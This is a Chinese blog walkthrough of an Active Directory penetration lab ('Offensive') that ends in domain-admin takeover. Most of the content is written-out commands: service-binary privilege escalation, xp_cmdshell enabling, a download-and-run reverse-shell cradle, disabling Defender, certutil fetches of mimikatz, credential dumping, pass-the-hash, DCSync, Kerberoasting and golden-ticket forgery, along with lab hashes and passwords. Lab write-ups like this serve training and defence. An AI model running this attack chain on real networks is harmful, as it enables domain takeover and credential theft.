Offensive-AD域靶场渗透「建议收藏」

(32) 2023-05-17 16:12

Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说Offensive-AD域靶场渗透「建议收藏」,希望能够帮助你!!!。

Offensive是国外的一个靶场,要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。

网络拓扑如下:

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第1张

通过信息搜集,以及知道当前用户为offensive\Alice在域环境offensive中,当前用户不在管理员组中。使用工具包中提供的powerup来进行检查,寻找当前主机的Windows服务漏洞来进行提权。

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks" 
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第2张

这里发现VulnService.exe是以localsystem权限启动的,这里利用方法是利用powerup写入一个二进制文件,将Alice添加到管理员组:

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName'VulnService' -UserName'offensive\Alice' -Password 'Passw0rd'" 
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第3张

将生产的service.exe重命名后放在对应目录下,重启主机后,提取至管理员权限。

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第4张

使用提供的powerview脚本来进行域内信息搜集:

Import-Module .\PowerView.ps1        #导入脚本
Get-NetDomain               #获取域信息
Get-NetDomainController         #获取域控信息
Get-NetUser | select name         #获取域内的用户
Get-NetGroup | select name         #获取域内的组
Get-NetComputer |select name      #获取域内主机的名字
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第5张

使用powerupsql脚本来进行信息搜集:

Import-Module .\PowerUpSQL.ps1        #导入脚本
Get-SQLInstanceDomain | Get-SQLConnectionTest     #枚举域内数据库访问情况
Get-SQLServerInfo -Instance Offensive-SQL1      #枚举当前服务的详细信息
Invoke-SQLAudit -Instance Offensive-SQL1 -verbose #扫描当前服务器可能存在的问题

扫描发现Offensive-SQL1当前登录的用户为Alice:

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第6张

可以通过xp_cmdshell来执行系统命令:

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第7张

使用提供的Heidisql连接到数据库,执行下述命令,当前用户为域管理员:

SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options’  
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第8张

将提供的反弹shell的脚本拖进HFS中:

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第9张

导入powercat脚本来监听443端口,数据库执行系统命令,获得数据库服务器的shell:

EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第10张

先关闭defender:

Set-MpPreference-disablerealtimeMonitoring $true
将mimikatz拖进HFS,执行文件下载命令,将mimikatz下载下来,然后运行mimikatz抓取密码
certutil -urlcache -f -splithttp://192.168.159.10/mimikatz.exe mimikatz.exe
.\mimikatz.exe"privilege::debug" "sekurlsa::logonpasswords" exit

抓取到dbadmin密码的哈希和明文密码:

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第11张

使用mimikatz进行PTH,报错百度说可能是Win10的某些安全性改进,导致mimikatz无法读取lsass导致的。

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local
/ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第12张

那就在Offensive-SQL1来执行试一下,先开启数据库服务器的远程桌面,使用dbadmin用户登录。

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第13张

登录到Offensive-SQL1上后,执行命令,成功登录到dc。

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit
Enter-PSSession -ComputerName dc
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第14张

我们已经获取到域管理员权限,可以利用Dcsync来导出所有域用户的哈希:

lsadump::dcsync /domain:offensive.local /all /csv 
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第15张

对域管理员Administrator密码的哈希进行激活成功教程,密码为Password!

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第16张

Kerberoasting

使用GetUserSPNS脚本来查询域内用户注册的 SPN:

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第17张

Add-Type -AssemblyName System.IdentityModel    #请求服务票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Offensive-SQL1:1433"   #列出服务票据
Kerberos::list /export   #导出票据
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第18张

使用tgsrepcrack脚本对导出的服务票据文件进行离线激活成功教程,这里是因为未修改之前的机器密码为Passw0rd!

Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第19张

黄金票据

前面我们通过Dcsync已经知道了krbtgt的哈希,执行下述命令黄金票据攻击:

kerberos::golden /user:Administrator /domain:offensive.local /sid:S-1-5-21-1187620287-4058297830-2395299116 /krbtgt:61d83c569b93bfcd4ca2087011361caa /ptt #
misc::cmd
dir \\dc.offensive.local\c$
Offensive-AD域靶场渗透「建议收藏」_https://bianchenghao6.com/blog__第20张

通过这个靶场进一步的了解了提权、横向、mssql命令执行、dcsysc、pth等常见渗透攻击方法,以及如何利用当前权限和工具一步步渗透到达域控获取域管理员权限从而接管整个域。

上一篇

已是最后文章

下一篇

已是最新文章

发表回复